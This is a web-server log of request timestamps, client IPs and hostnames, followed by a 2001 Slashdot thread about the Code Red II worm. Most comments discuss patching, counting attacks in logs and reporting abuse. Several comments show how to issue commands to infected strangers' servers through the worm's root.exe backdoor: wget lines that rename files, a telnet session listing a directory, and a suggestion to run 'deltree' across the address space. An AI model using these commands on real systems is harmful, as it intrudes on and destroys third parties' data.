    19:17:49.472740 82 66.20.90.161:1188
    19:17:50.706806 82 66.20.90.161:1188
    19:17:51.205373 82 66.20.90.161:1188
    19:17:51.260347 66 66.31.110.214:1805
    19:17:51.777707 66 66.31.110.214:1805
    19:17:52.274677 66 66.31.110.214:1805
    19:18:18.146159 66 66.31.19.147:2433
    19:18:18.610886 66 66.31.19.147:2433
    19:18:19.093770 66 66.31.19.147:2433
    19:24:03.258744 66 h005004e76369.ne.mediaone.net:2709
    19:25:59.513734 66 h005004e76369.ne.mediaone.net:4876
    19:31:10.452058 82 h00d0b7aae700.ne.mediaone.net:3013
    19:31:10.995839 82 h00d0b7aae700.ne.mediaone.net:3013
    19:31:11.520479 82 h00d0b7aae700.ne.mediaone.net:3013
    19:31:42.818299 66 66.31.23.222:3614
    19:31:43.341462 66 66.31.23.222:3614
    19:31:43.832391 66 66.31.23.222:3614
    19:35:33.305615 66 66.31.23.222:2329
    19:35:33.858879 66 66.31.23.222:2329
    19:35:34.380045 66 66.31.23.222:2329
    19:36:15.488788 82 66.31.90.18:3920
    19:36:15.919015 82 66.31.90.18:3920
    19:36:16.416156 82 66.31.90.18:3920
    19:37:18.674745 82 h0000b4aab5d3.ne.mediaone.net:3186
    19:37:19.141809 82 h0000b4aab5d3.ne.mediaone.net:3186
    19:37:19.639118 82 h0000b4aab5d3.ne.mediaone.net:3186
    19:37:24.595907 66 66.31.34.197:2631
    19:37:25.073936 66 66.31.34.197:2631
    19:37:25.565188 66 66.31.34.197:2631
    19:40:03.296489 66 66.31.219.14:3213
    19:40:03.743324 66 66.31.219.14:3213
    19:40:04.250018 66 66.31.219.14:3213
    19:40:52.479756 66 66.47.109.44:1952
    19:40:52.983786 66 66.47.109.44:1952
    19:45:48.666308 66 66.31.103.8:1354
    19:45:49.199602 66 66.31.103.8:1354
    19:45:49.762800 66 66.31.103.8:1354
    19:48:43.717171 66 66.31.119.51:4949
    19:48:44.224199 66 66.31.119.51:4949
    19:48:44.735539 66 66.31.119.51:4949
    19:55:45.300803 66 h005004e76369.ne.mediaone.net:3881
    19:57:47.694040 66 66.72.102.56:2366
    19:57:54.438890 66 66.72.102.56:2366
    19:57:58.796383 66 66.31.63.221:3454
    19:57:59.280563 66 66.31.63.221:3454
    19:57:59.785846 66 66.31.63.221:3454
    20:03:57.649227 66 66.8.138.149:1328
    20:03:58.262279 66 66.8.138.149:1328
    20:03:58.862178 66 66.8.138.149:1328
    20:04:57.092114 66 66.31.185.167:4905
    20:04:57.668327 66 66.31.185.167:4905
    20:04:58.228124 66 66.31.185.167:4905
    20:07:35.614262 82 h00d0b7aae700.ne.mediaone.net:1964
    20:07:36.084504 82 h00d0b7aae700.ne.mediaone.net:1964
    20:07:36.597473 82 h00d0b7aae700.ne.mediaone.net:1964
    20:08:48.105066 66 66.31.19.147:4928
    20:08:48.596219 66 66.31.19.147:4928
    20:08:49.105219 66 66.31.19.147:4928
    20:13:58.866231 66 66.31.110.214:2123
    20:13:59.346348 66 66.31.110.214:2123
    20:13:59.850031 66 66.31.110.214:2123
    20:15:24.291724 66 168.191.87.14:3837
    20:15:27.257603 66 168.191.87.14:3837
    20:15:32.075376 66 168.191.87.14:3837
    20:23:47.414620 66 h005004e76369.ne.mediaone.net:2972
    20:28:35.272954 66 66.31.185.167:2469
    20:28:35.930940 66 66.31.185.167:2469
    20:28:36.466283 66 66.31.185.167:2469
    20:34:01.123468 66 66.31.134.132:1852
    20:34:01.564138 66 66.31.134.132:1852
    20:34:02.072934 66 66.31.134.132:1852
    20:39:16.574358 66 66.31.119.51:4249
    20:39:17.174922 66 66.31.119.51:4249
    20:39:17.717080 66 66.31.119.51:4249
    20:39:38.389574 66 66.31.185.167:1473
    20:39:38.910794 66 66.31.185.167:1473
    20:39:39.792199 66 66.31.185.167:1473
    20:50:33.690912 66 66.31.154.13:3908
    20:50:34.188717 66 66.31.154.13:3908
    20:50:34.666215 66 66.31.154.13:3908
    20:51:26.698337 82 66.108.14.19:4641
    20:51:27.234215 82 66.108.14.19:4641
    20:51:27.851212 82 66.108.14.19:4641
    20:54:39.440536 66 66.31.182.114:2421
    20:54:39.939779 66 66.31.182.114:2421
    20:54:40.478663 66 66.31.182.114:2421
    20:59:23.096409 66 66.31.19.147:4982
    20:59:23.651718 66 66.31.19.147:4982
    20:59:24.104612 66 66.31.19.147:4982
    20:59:55.992071 66 66.31.110.214:3859
    20:59:56.994188 66 66.31.110.214:3859
    20:59:57.512260 66 66.31.110.214:3859
    21:07:16.914349 66 h0020780443d3.ne.mediaone.net:4414
    21:07:17.415319 66 h0020780443d3.ne.mediaone.net:4414
    21:07:17.884111 66 h0020780443d3.ne.mediaone.net:4414
    21:09:45.978620 66 66.31.93.113:2343
    21:09:46.459449 66 66.31.93.113:2343
    21:09:46.964479 66 66.31.93.113:2343
    21:11:19.500644 66 66.31.142.16:4666
    21:11:19.982867 66 66.31.142.16:4666
    21:11:20.490040 66 66.31.142.16:4666
    21:20:45.663095 66 h005004e76369.ne.mediaone.net:1904
    21:20:49.129672 66 66.31.176.78:3738
    21:20:49.594183 66 66.31.176.78:3738
    21:20:50.101531 66 66.31.176.78:3738
    21:22:05.996973 66 66.31.119.51:3563
    21:22:06.505440 66 66.31.119.51:3563
    21:22:07.008934 66 66.31.119.51:3563
    21:22:18.541396 66 h005004e76369.ne.mediaone.net:3485
    21:24:16.676478 66 66.27.194.28:4941
    21:24:17.231783 66 66.27.194.28:4941
    21:24:17.813206 66 66.27.194.28:4941
    21:25:42.561997 66 h005004e76369.ne.mediaone.net:1796
    21:26:05.362410 66 66.65.7.216:3089
    21:26:05.902204 66 66.65.7.216:3089
    21:26:06.379554 66 66.65.7.216:3089
    21:28:00.078502 66 h005004e76369.ne.mediaone.net:1066
    21:29:10.417433 66 h0020780443d3.ne.mediaone.net:1929
    21:29:10.888167 66 h0020780443d3.ne.mediaone.net:1929
    21:29:11.393278 66 h0020780443d3.ne.mediaone.net:1929
    21:37:02.743336 66 h005004e76369.ne.mediaone.net:3971
    21:43:05.435234 82 66.31.90.18:1966
    21:43:08.374029 82 66.31.90.18:1966
    21:43:14.401388 82 66.31.90.18:1966
    21:45:17.561709 66 h000102677395.ne.mediaone.net:2000
    21:45:17.998424 66 h000102677395.ne.mediaone.net:2000
    21:45:18.499826 66 h000102677395.ne.mediaone.net:2000
    21:55:05.915115 66 h005004e76369.ne.mediaone.net:3185
    22:08:23.023150 66 h0000b49dc596.ne.mediaone.net:4634
    22:08:23.557906 66 h0000b49dc596.ne.mediaone.net:4634
    22:08:24.144216 66 h0000b49dc596.ne.mediaone.net:4634
    22:09:12.966844 66 66.31.244.129:2952
    22:09:13.537797 66 66.31.244.129:2952
    22:09:14.041465 66 66.31.244.129:2952
    22:24:18.203210 66 66.31.110.214:3110
    22:24:18.690633 66 66.31.110.214:3110
    22:24:19.156846 66 66.31.110.214:3110
    22:26:41.235110 66 h000102677395.ne.mediaone.net:1964
    22:26:42.005716 66 h000102677395.ne.mediaone.net:1964
    22:26:42.772255 66 h000102677395.ne.mediaone.net:1964
    22:28:18.796708 66 66.31.176.78:3969
    22:28:19.269487 66 66.31.176.78:3969
    22:28:19.764580 66 66.31.176.78:3969
    22:28:35.194390 82 h00a0cc3b6d03.ne.mediaone.net:1833
    22:28:35.750994 82 h00a0cc3b6d03.ne.mediaone.net:1833
    22:28:36.274949 82 h00a0cc3b6d03.ne.mediaone.net:1833
    22:33:25.496157 66 66.31.244.129:2010
    22:33:26.031236 66 66.31.244.129:2010
    22:33:26.561286 66 66.31.244.129:2010
    22:37:47.320547 82 66.31.90.18:1081
    22:37:47.803008 82 66.31.90.18:1081
    22:37:48.291875 82 66.31.90.18:1081
    22:38:49.048073 82 66.31.90.18:2910
    22:38:49.603072 82 66.31.90.18:2910
    22:38:50.120720 82 66.31.90.18:2910
    22:45:53.412650 82 h0000b4aab5d3.ne.mediaone.net:1196
    22:45:53.922510 82 h0000b4aab5d3.ne.mediaone.net:1196
    22:45:54.422061 82 h0000b4aab5d3.ne.mediaone.net:1196
    22:49:30.259622 66 h00c04ff51cd7.ne.mediaone.net:3364
    22:49:30.800502 66 h00c04ff51cd7.ne.mediaone.net:3364
    22:49:31.313960 66 h00c04ff51cd7.ne.mediaone.net:3364
    22:51:33.085732 66 h005004e76369.ne.mediaone.net:2700
    22:52:59.708929 66 66.21.239.11:4366
    22:53:00.190556 66 66.21.239.11:4366
    22:53:00.686654 66 66.21.239.11:4366
    22:54:23.964379 66 66.31.252.167:4770
    22:54:24.480645 66 66.31.252.167:4770
    22:54:24.990684 66 66.31.252.167:4770
    22:54:58.617700 82 h0000b4aab5d3.ne.mediaone.net:4643
    22:54:59.053355 82 h0000b4aab5d3.ne.mediaone.net:4643
    22:54:59.562599 82 h0000b4aab5d3.ne.mediaone.net:4643
    22:58:24.200320 82 h00d0b7aae700.ne.mediaone.net:2439
    22:58:24.692829 82 h00d0b7aae700.ne.mediaone.net:2439
    22:58:25.192211 82 h00d0b7aae700.ne.mediaone.net:2439
    23:02:38.224189 66 h005004e76369.ne.mediaone.net:2539
    23:04:04.079205 66 66.31.219.14:1687
    23:04:04.566883 66 66.31.219.14:1687
    23:04:05.054512 66 66.31.219.14:1687
    23:04:12.680565 66 66.31.142.16:2751
    23:04:13.112318 66 66.31.142.16:2751
    23:04:13.637844 66 66.31.142.16:2751
    23:06:33.553378 66 66.31.252.167:4922
    23:06:34.026042 66 66.31.252.167:4922
    23:06:34.526973 66 66.31.252.167:4922
    23:07:36.167238 66 h0050dabb01ca.ne.mediaone.net:4166
    23:07:37.233513 66 h0050dabb01ca.ne.mediaone.net:4166
    23:07:37.775333 66 h0050dabb01ca.ne.mediaone.net:4166
    23:14:11.353025 66 h0050dabb01ca.ne.mediaone.net:1081
    23:14:12.114457 66 h0050dabb01ca.ne.mediaone.net:1081
    23:14:12.963133 66 h0050dabb01ca.ne.mediaone.net:1081
    23:19:47.570412 66 h005004e76369.ne.mediaone.net:1692
    23:23:02.185940 66 66.31.182.114:1400
    23:23:02.654633 66 66.31.182.114:1400
    23:23:03.149660 66 66.31.182.114:1400
    23:25:03.618435 66 66.31.182.114:4104
    23:25:04.091462 66 66.31.182.114:4104
    23:25:04.618119 66 66.31.182.114:4104
    23:29:11.714033 66 66.31.252.167:2418
    23:29:12.233030 66 66.31.252.167:2418
    23:29:12.742194 66 66.31.252.167:2418
    23:38:22.485507 82 h0000b4aab5d3.ne.mediaone.net:2540
    23:38:22.966452 82 h0000b4aab5d3.ne.mediaone.net:2540
    23:38:23.471937 82 h0000b4aab5d3.ne.mediaone.net:2540
    23:42:36.438459 82 h00a0cc3b6d03.ne.mediaone.net:4347
    23:42:36.918165 82 h00a0cc3b6d03.ne.mediaone.net:4347
    23:42:37.424684 82 h00a0cc3b6d03.ne.mediaone.net:4347
    23:49:06.169691 66 h005004e76369.ne.mediaone.net:2708
    23:54:37.467552 66 66.31.23.222:2406
    23:54:38.024616 66 66.31.23.222:2406
    23:54:38.526598 66 66.31.23.222:2406
    00:03:26.283151 82 66.31.53.226:2367
    00:03:26.783434 82 66.31.53.226:2367
    00:03:27.308776 82 66.31.53.226:2367
    00:30:06.486684 66 66.31.103.8:2572
    00:30:07.011765 66 66.31.103.8:2572
    00:30:07.526475 66 66.31.103.8:2572
    00:30:39.764217 66 h0050dabb01ca.ne.mediaone.net:4145
    00:30:40.228938 66 h0050dabb01ca.ne.mediaone.net:4145
    00:30:40.741150 66 h0050dabb01ca.ne.mediaone.net:4145
    00:35:24.020443 66 66.31.154.13:3635
    00:35:24.544329 66 66.31.154.13:3635
    00:35:25.070547 66 66.31.154.13:3635
    00:36:10.709933 66 66.24.101.118:2258
    00:36:11.234919 66 66.24.101.118:2258
    00:36:11.745215 66 66.24.101.118:2258
    00:37:22.135560 66 h000102677395.ne.mediaone.net:1693
    00:37:22.710775 66 h000102677395.ne.mediaone.net:1693
    00:37:23.159650 66 h000102677395.ne.mediaone.net:1693
    00:40:02.028227 66 h005004e76369.ne.mediaone.net:1586
    00:46:21.303078 66 66.31.176.78:2229
    00:46:21.807640 66 66.31.176.78:2229
    00:46:22.274141 66 66.31.176.78:2229
    01:21:16.483721 82 h00a0cc3b6d03.ne.mediaone.net:3494
    01:21:16.973122 82 h00a0cc3b6d03.ne.mediaone.net:3494
    01:21:17.474816 82 h00a0cc3b6d03.ne.mediaone.net:3494
    01:45:55.123115 66 h0050dabb01ca.ne.mediaone.net:4010
    01:45:55.584579 66 h0050dabb01ca.ne.mediaone.net:4010
    01:45:56.084967 66 h0050dabb01ca.ne.mediaone.net:4010
    01:46:05.080026 66 h005004e76369.ne.mediaone.net:2495
    01:46:19.448977 66 h00c04ff51cd7.ne.mediaone.net:1781
    01:46:19.921529 66 h00c04ff51cd7.ne.mediaone.net:1781
    01:46:20.442538 66 h00c04ff51cd7.ne.mediaone.net:1781
    01:46:55.337709 66 h00105a22d072.ne.mediaone.net:4983
    01:46:55.839717 66 h00105a22d072.ne.mediaone.net:4983
    01:46:56.392686 66 h00105a22d072.ne.mediaone.net:4983
    01:47:09.796381 66 h00105a22d072.ne.mediaone.net:1428
    01:47:10.276086 66 h00105a22d072.ne.mediaone.net:1428
    01:47:10.811053 66 h00105a22d072.ne.mediaone.net:1428
    01:47:18.500196 66 h00105a22d072.ne.mediaone.net:1691
    01:47:19.028113 66 h00105a22d072.ne.mediaone.net:1691
    01:47:19.579917 66 h00105a22d072.ne.mediaone.net:1691
    01:47:27.595175 66 h00105a22d072.ne.mediaone.net:1963
    01:47:28.104053 66 h00105a22d072.ne.mediaone.net:1963
    01:47:28.646113 66 h00105a22d072.ne.mediaone.net:1963
    01:49:04.483718 66 h00c04ff51cd7.ne.mediaone.net:1970
    01:49:04.964339 66 h00c04ff51cd7.ne.mediaone.net:1970
    01:49:05.486200 66 h00c04ff51cd7.ne.mediaone.net:1970
    01:50:48.239598 66 h000102677395.ne.mediaone.net:2151
    01:50:48.795367 66 h000102677395.ne.mediaone.net:2151
    01:50:49.320730 66 h000102677395.ne.mediaone.net:2151
    01:50:50.803870 66 208.196.23.183:4684
    01:50:51.609295 66 208.196.23.183:4684
    01:50:52.418740 66 208.196.23.183:4684
    01:51:10.695161 66 h0020780443d3.ne.mediaone.net:1686
    01:51:11.141443 66 h0020780443d3.ne.mediaone.net:1686
    01:51:11.649209 66 h0020780443d3.ne.mediaone.net:1686
    01:57:28.927295 66 h00a0cc65dafd.ne.mediaone.net:2387
    01:57:29.419477 66 h00a0cc65dafd.ne.mediaone.net:2387
    01:57:29.915338 66 h00a0cc65dafd.ne.mediaone.net:2387
    01:59:45.318955 82 h0010a4b2ec27.ne.mediaone.net:1738
    01:59:46.046086 82 h0010a4b2ec27.ne.mediaone.net:1738
    01:59:46.540815 82 h0010a4b2ec27.ne.mediaone.net:1738
    02:00:34.621898 82 h0000b4aab5d3.ne.mediaone.net:4203
    02:00:35.140900 82 h0000b4aab5d3.ne.mediaone.net:4203
    02:00:35.647869 82 h0000b4aab5d3.ne.mediaone.net:4203
    02:01:19.026076 66 66.31.34.197:3530
    02:01:19.537435 66 66.31.34.197:3530
    02:01:20.037510 66 66.31.34.197:3530
    02:02:54.574322 66 h0050dabb01ca.ne.mediaone.net:4667
    02:02:55.078305 66 h0050dabb01ca.ne.mediaone.net:4667
    02:08:45.746726 82 h00d0b7aae700.ne.mediaone.net:3915
    02:08:46.207120 82 h00d0b7aae700.ne.mediaone.net:3915
    02:08:46.712318 82 h00d0b7aae700.ne.mediaone.net:3915
    02:10:50.960570 66 h0050dabb01ca.ne.mediaone.net:2134
    02:10:51.495640 66 h0050dabb01ca.ne.mediaone.net:2134
    02:10:52.005772 66 h0050dabb01ca.ne.mediaone.net:2134
    02:12:27.539188 66 h0000b49dc596.ne.mediaone.net:4114
    02:12:28.059970 66 h0000b49dc596.ne.mediaone.net:4114
    02:12:28.570862 66 h0000b49dc596.ne.mediaone.net:4114
    02:13:38.080598 66 h0050dabb01ca.ne.mediaone.net:2717
    02:13:38.516787 66 h0050dabb01ca.ne.mediaone.net:2717
    02:13:39.015100 66 h0050dabb01ca.ne.mediaone.net:2717
    02:17:01.162745 66 h005004e76369.ne.mediaone.net:1637
    02:19:48.014875 66 h005004e76369.ne.mediaone.net:1514
    02:20:16.174304 82 h0010a4b2ec27.ne.mediaone.net:2503
    02:20:16.742444 82 h0010a4b2ec27.ne.mediaone.net:2503
    02:20:17.180213 82 h0010a4b2ec27.ne.mediaone.net:2503
    02:20:26.455462 66 h0050dabb01ca.ne.mediaone.net:2050
    02:20:26.946521 66 h0050dabb01ca.ne.mediaone.net:2050
    02:20:27.416633 66 h0050dabb01ca.ne.mediaone.net:2050
    02:22:50.732375 66 h005004e76369.ne.mediaone.net:1867

  226. Re:Will this wake peoiple up? by Mnemia · · Score: 1
    The only reason this is more devestating to the net than the Bind exploit was is because MS has a higher installed base. If RedHat had the same installed base, the effects would have probably been much worse.

    I agree that you have a point, but I don't think it's just the size of the installed base. Most Redhat users probably have a greater understanding of the need to keep their system patched...and Linux doesn't hide all the details of the system from the user in the way that Windows does. It's quite possible that many home Win2k users don't even know that they are running IIS at all, much less that they need to keep informed about exploits and patches for such.

    Linux tends to encourage its users to learn more about the workings of their system, in my opinion. Windows tends to encourage people to think of their computer as an "appliance" that they don't have to worry about.

  227. what is code red. . by n3m6 · · Score: 1, Insightful

    when will you people realize that code red is not just another worm that will fade away soon.. code red makes not only IIS webservers vulnerable.. but any service with an available exploit. i'm talking about the "code red algorithm" that it uses to scan the ip's and spread so fast. this is what makes code red so special.. and this is why we'll be having more of this soooner than you guys think.. its DDOS days all over again..

    1. Re:what is code red. . by Darth+Paul · · Score: 1
      Someone should copyright the "code red algorithm"

      How's this?

      1. Start with large quantity of mountain dew
      2. Add caffeine
      3. Add Bricanyl
      4. Add fizz
      5. Release.

    2. Re:what is code red. . by mpe · · Score: 4, Funny

      Someone should copyright the "code red algorithm".

      Or maybe patent it. Also how about sending the BSA after anyone running it without a licence.

    3. Re:what is code red. . by Anonymous Coward · · Score: 0
      You MUST use Windows for CodeRed to work. This is not special, this is remedial, It's been done before.

      soooner than you guys think..
      Yeay, like 25 years ago.

    4. Re:what is code red. . by Anonymous Coward · · Score: 0

      can't patent something where 'prior art' can be demonstarted... i think that is right.

  228. The solution ? by mauri · · Score: 1

    Will be 3 lines then:

    wget "http://$REMOTE_ADDR/scripts/root.exe?/c+ren+shell .exe+infected.dat"
    wget "http://$REMOTE_ADDR/scripts/root.exe?/c+ren+root. exe+infected.dat"
    wget "http://$REMOTE_ADDR/scripts/root.exe?/c+ren+c:\ex plorer.exe+infected.dat"

    If anybody hasn't noticed, there is usually shell.exe also in scripts dir.

    --
    __
    L.
  229. Re:Now that is funny! by sdo1 · · Score: 2, Funny
    Right now this dude is looking at his server logs and thinking "Awesome! I can't believe how many people are pumped about my resume! Job offers are going to be ROLLING in any second!"

    -S

    --
    --- What parts of "shall make no law", "shall not be infringed", and "shall not be violated" don't you understand?
  230. Hey... maybe we can use an M$ exploit to FIX this. by Jester998 · · Score: 1

    I just thought of something.... what would happen if everyone running Apache (or another SECURE httpd) put a default.ida file in their server. Of course, it wouldn't be just any old file... it would be a web page with embedded scripts which would take advantage of OTHER known exploits in M$' IIS/PWS. The scripts could do anything we wanted; INCLUDING cleaning the host of the worm by patching and rebooting the system. Now THAT would be a hell of a hack, if indeed it could be done.

    What does the /. community think? Is something like this feasible, or am I just talking out of my ass?

  231. Christ... by jargoone · · Score: 1

    Does anyone even care about this site anymore? Ever since I've stopped regularly visiting Slashdot, I swear my blood pressure has dropped. All the fucking Linux zealots just got to me. Wake up, people.

    1. Re:Christ... by Anonymous Coward · · Score: 0

      go to hell, loser

  232. Re:Hey... maybe we can use an M$ exploit to FIX th by Anonymous Coward · · Score: 0

    you're the millionth guy to suggest it, and it's still a stupid idea

  233. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  234. Re:A few more details:It's a root trojan by gweihir · · Score: 1

    Unbelivalble. Now script kiddies don't even need to do their own hacking, just run a webserver and pick hacked machined from the log.

    The question is how large the MS community will grow before it kills itself off with something like this, not whether it will happen....

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted and ignored otherwise.
  235. Re:Free r00t for all! by Anonymous Coward · · Score: 0

    Run a scan against the entire address space with a modified version of the above.. only use "deltree" instead of dir. Should fix the problem.

  236. Best Command line grepper yet by Anonymous Coward · · Score: 0

    grep "default.ida?" access_log | cut -d' ' -f7 | sort | uniq -c

  237. Re:Arrrghh by Anonymous Coward · · Score: 0

    Aren't you the Wipo Troll?

  238. Re:Ooops bad paste. Take two. by cyberdonny · · Score: 2
    Found it:

    > telnet x.x.x.x 80
    Trying x.x.x.x...
    Connected to x.x.x.x.
    Escape character is '^]'.
    GET /scripts/root.exe?/c+dir HTTP/1.0

    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Sun, 05 Aug 2001 09:35:11 GMT
    Content-Type: application/octet-stream
    Volume in drive D has no label.
    Volume Serial Number is A8A2-CE97

    Directory of d:\inetpub\scripts

    2001-06-03 04:12a <DIR> .
    2001-06-03 04:12a <DIR> ..
    2001-06-13 09:07a 289 default.asp
    2001-06-13 09:07a 289 default.htm
    2001-06-13 09:07a 289 index.asp
    2001-06-13 09:07a 289 index.htm
    2000-01-10 09:00p 310,544 root.exe
    5 File(s) 311,700 bytes
    2 Dir(s) 353,468,416 bytes free
    Connection closed by foreign host.

  239. Re:If this can't break Microsoft's back nothing wi by Anonymous Coward · · Score: 0

    I safety test pot everyday and its still not sold at Walmart. MS endangers data everyday and its doing just fine. Go figure...

  240. Re:Why don't they... by jgaynor · · Score: 1

    That is probably the smartest thing I've ever heard anyone say on slashdot. Ever. Someone Show their skills and write a variant that will run the patch (obviously not locally if they dont have it) from a remote server. Yeah you can hate MS all you want but until someone does something about it we're all going to be sucking bad HTTP requests.

  241. Re:C:\dos C:\dos\run | run\dos\run by Eeeeegon · · Score: 4, Informative

    This worm is combining TWO worms; both the Code Red worm we know and love, and the less-recent SANDMIND worm (sp?), famous for running of DOS commands and posting an anti-US webpage at 'default.asp', 'default.html', 'index.asp', and 'index.html' on directories relative to the website root. Apparently this worm is using 'cmd.exe' to get root access; what it does beyond that, I have no idea... I haven't been hit by it. I guess the logic is .... if the box isnt patched against Code Red, chances are it isn't patched against SANDMIND, too.

    Also, 90% of the 'NNNN's in my server logs came from my Class A subnet (and much more frequently than the 'XXXXX' requests).

    Logs available upon request, etc.

  242. Re:logs by Anonymous Coward · · Score: 0

    I was scanned 340 times yesterday, and as of 7:30 am today I have seen 130 scans. This is WAY more than earlier in the week. I was only getting 20-30/Day. The mainstream press seems to think this thing has gone away, but they are wrong. I have noticed a significantly slower net the last few days on my cable modem.

  243. My totals. by Trifthen · · Score: 1

    grep default.ida access_log | awk '{print $1}' | sort | uniq | wc -l

    155 unique IP's.

    grep default.ida access_log | awk '{print $1}' | wc -l

    232 Total Hits

    grep default.ida access_log | grep home.com | awk '{print $1}' | sort | uniq | wc -l

    32 Uniqe @amp;home hits.

    grep default.ida access_log | grep home.com | awk '{print $1}' | wc -l

    96 Total @amp;home hits.

    Yeah, most attacks are definitely coming from the block I'm on. ::sigh::

    --
    Read: Rabbit Rue - Free serial nove
  244. Re:Seems pretty light in 127.* by Anonymous Coward · · Score: 0

    You've been trolled.

    127 = his own machine. and he said IIS.

  245. that's what i thought by aechols · · Score: 1

    i have an old 486 running freesco as my broadband splitting device. klogd must be going crazy. since i got back home this morning it has rejected TONS of attempts on port 80. i suspected it was code red of course, but what bugged me was that it was mostly coming from my neighbors in 24.167, a few more in 24.something else, and an occasional one from a different class A. i thought code red was random. and then this story pops up. make sense. well its been fun all day going to http://insert.victim.ip.here/. :) there must be others doing the same since i get this once in a while: HTTP 403.9 - Access Forbidden: Too many users are connected

    --
    Are you pondering what I'm pondering?
    1. Re:that's what i thought by kilrogg · · Score: 1

      here's a funny one: http://24.78.130.5/

    2. Re:that's what i thought by aechols · · Score: 1
      i left this stuff out... i'm pretty sure this is the hacked page in the source, this warning is a comment at the top:
      WARNING! Please do not alter this file. It may be replaced if you upgrade your web server
      If you want to use it as a template, we recommend renaming it, and modifying the new file.
      Thanks.
      and the remainder of the page is like this:
      Under Construction
      The site you were trying to reach does not currently have a default page. It may be in the process of being upgraded.
      Please try this site again later. If you still experience the problem, try contacting the Web site administrator.
      --
      Are you pondering what I'm pondering?
  246. The end is near... by TrevorB · · Score: 3, Insightful

    So let me get this straight... Every machine on the planet practically has a list of infected IP addresses broadcasted to them, with a new one arriving every minute or so (up to 663 XXX's here in the past two hours).

    So that means any loser with this list of infected IPs and some knowledge of perl literally has a small army of computers at their command?

    I think we might be seeing some rather impressive DDoS attacks by this evening.

    Hmm.. 3 more XXX's in the time it took me to write this... frequency's increasing...

    1. Re:The end is near... by greenrd · · Score: 1

      And remember, kiddies, with your root access to infected machines, you can trawl the IIS logs to get even more IPs to root.

  247. Re:A few more details:It's a root trojan by Drone-X · · Score: 3, Informative
    I found that you must do "GET /scripts/root.exe" without the HTTP/1.0 for it to work.

    Oh yeah, since you can't enter command to the prompt you need to pass the commands to execute as arguments to root.exe (which is really cmd.exe). You can do this by typing "GET /scripts/root.exe?/C%20dir" or something like that. Or you could enter http://somehost/scripts/root.exe?/C%20dir into your favourite browser.

    I've found that typing absolute paths doesn't work for some reason, but http://somehost/scripts/root.exe?/C%20dir%20"..\.. \Documents%20and%20Settings\All%20Users\Desktop\" (remove the spaces) should bring you to the desktop.

    I wanted to leave a message to the admin on the desktop but I have no idea how to do that since "echo" is part of cmd.exe and piping probably won't work too. Perhaps omeone with WinNT skills could offer some ideas?

  248. Re:If this can't break Microsoft's back nothing wi by Anonymous Coward · · Score: 0

    or...

    - Operating systems don't have wheels.

  249. Server 403's by nebby · · Score: 2

    I've noticed that a lot of the infected servers are 403'ing me ("Too Many Connected Users") so I'm guessing that once our Chinese (or, for you conspiracy theorists, Microsoft employee) buddies get their stuff setup on their 0wned boxes they turn IIS to allow one connection only or something to block everyone else besides them out.

    The obvious conclusion is that they're setting up for a DoS or something. Sucks to be the target they should choose.. 100,000 UDP packet sources anyone? Eerk.

    --
    --
  250. Re:a quick fix by DNS-and-BIND · · Score: 1

    Strangely enough, most of the servers I get the XXXX/NNNN requests from, do not accept connections on port 80. Go figure.

    --
    Shutting down free speech with violence isn't fighting fascism. It IS fascism!
  251. IIS is installed by default in Win2k by Phrogman · · Score: 2

    If you are installing Win2k server on a box, you get IIS by default - and its enabled. You have to actually go and disable it. This is probably the biggest problem, in that every copy of Win2k server installed on any box is also a webserver. What do you want to design badly today?

    --
    "The first time I got drunk, I got married. The second time I bought a chimpanzee, after that I stayed sober" Arian Seid
    1. Re:IIS is installed by default in Win2k by mpe · · Score: 2

      If you are installing Win2k server on a box, you get IIS by default - and its enabled. You have to actually go and disable it.

      Even if you disable it, even that's not the end of it. You have to make sure it stays disabled. Which means checking everytime you install software or change which "Windows Components" you have.

  252. Seems pretty light in 127.* by CentrX · · Score: 1

    Checking my web logs, I only see 1 Code Red IIs. Thankfully, running IIS, all my servers do is say "huh?" and log it.

    --

    "The price of freedom is eternal vigilance." - Thomas Jefferson
    1. Re:Seems pretty light in 127.* by CentrX · · Score: 1

      It's not a troll, it's only supposed to be slightly amusing.

      --

      "The price of freedom is eternal vigilance." - Thomas Jefferson
  253. Things learned from Code Red by MavEtJu · · Score: 1

    - reverse DNS is not done everywhere. It would be so easy to track things down if forward and reverse DNS were in sync
    - email aliases like abuse, webmaster and hostmaster are not common on windows-machines.
    - email aliases like abuse, webmaster and hostmaster are not common under domains.
    - whois-servers of ccTLD are often hard to find or inoperative (hint to ICANN: we *NEED* whois!)

    I really hate these webservers which give me an unreadable (prolly some asian font) page, without any clue on who to inform.

    Of the more than 100 unique messages I send out this weekend, more than 80% completly bounced because there was no abuse/webmaster/hostmaster alias.

    Anyway, I don't foresee any job-problems for people who try to educate internet-newbies with common rules like reverse dns and aliases for common mail-names...

    --
    bash$ :(){ :|:&};:
    1. Re:Things learned from Code Red by cybermage · · Score: 1

      Of the more than 100 unique messages I send out this weekend, more than 80% completly bounced because there was no abuse/webmaster/hostmaster alias.

      The only required, by RFC, email alias is 'postmaster.' While the others you mention are common, they are not required and no one should be begrudged for not having them.

      email aliases like abuse, webmaster and hostmaster are not common on windows-machines.

      Individual hosts aren't required to support email at all. Any registered domain must have someone who receives postmaster@domain, but that's it.

      Also, keep in mind that most people who are infected with this virus DO NOT know they are running IIS. You'd be better off complaining to the people who are the authority for the IP address (check whois.arin.net) and let them track down and fix the host on that address.

  254. bloody ADSL users by The_Weevil · · Score: 1

    Damn. I use ADSL and i was sensible. The 176 people i counted attacking my Apache server are OBVIOUSLY fools with Win2k.

    I have now made a neat perl script called default.ida to log attacks to my mysql db. When does the hurting stop?

    Weevil

    --
    ghaa.
  255. Re:Something that should happen more often. by spectecjr · · Score: 2

    Let's count the number of remote expoits for apache and IIS and decide which system is more secure

    A pity that this won't actually give you any kind of realistic indication as to how insecure they actually are.

    To do that you'd also need to know how many attempts to find exploits on each were made. It's more likely that Apache just hasn't been hammered on as much.

    Simon

    --
    Coming soon - pyrogyra
  256. Re:Try this by nick-less · · Score: 1
    I only get
    HELLO!Welcome to http://www.worm.com !

    Hacked By Chinese!
  257. Re:the real kicker is by TheMidget · · Score: 1
    > So fuck it...if ya'll want to play the assholes and be all high and mighty about how 'l33t ya'll are go ahead. Its exactly the reason you had no friends in high school. Geeks think they are always right and everyone else is wrong. Its the same attitude the jocks had, but worse.

    Yeah, and you're attitude is the reason why we occasionnally have to scrape the jocks' brains (or what little of it that they had) from the library floor...

  258. Re:There's been stacks of Unix worms this year by Nailer · · Score: 2

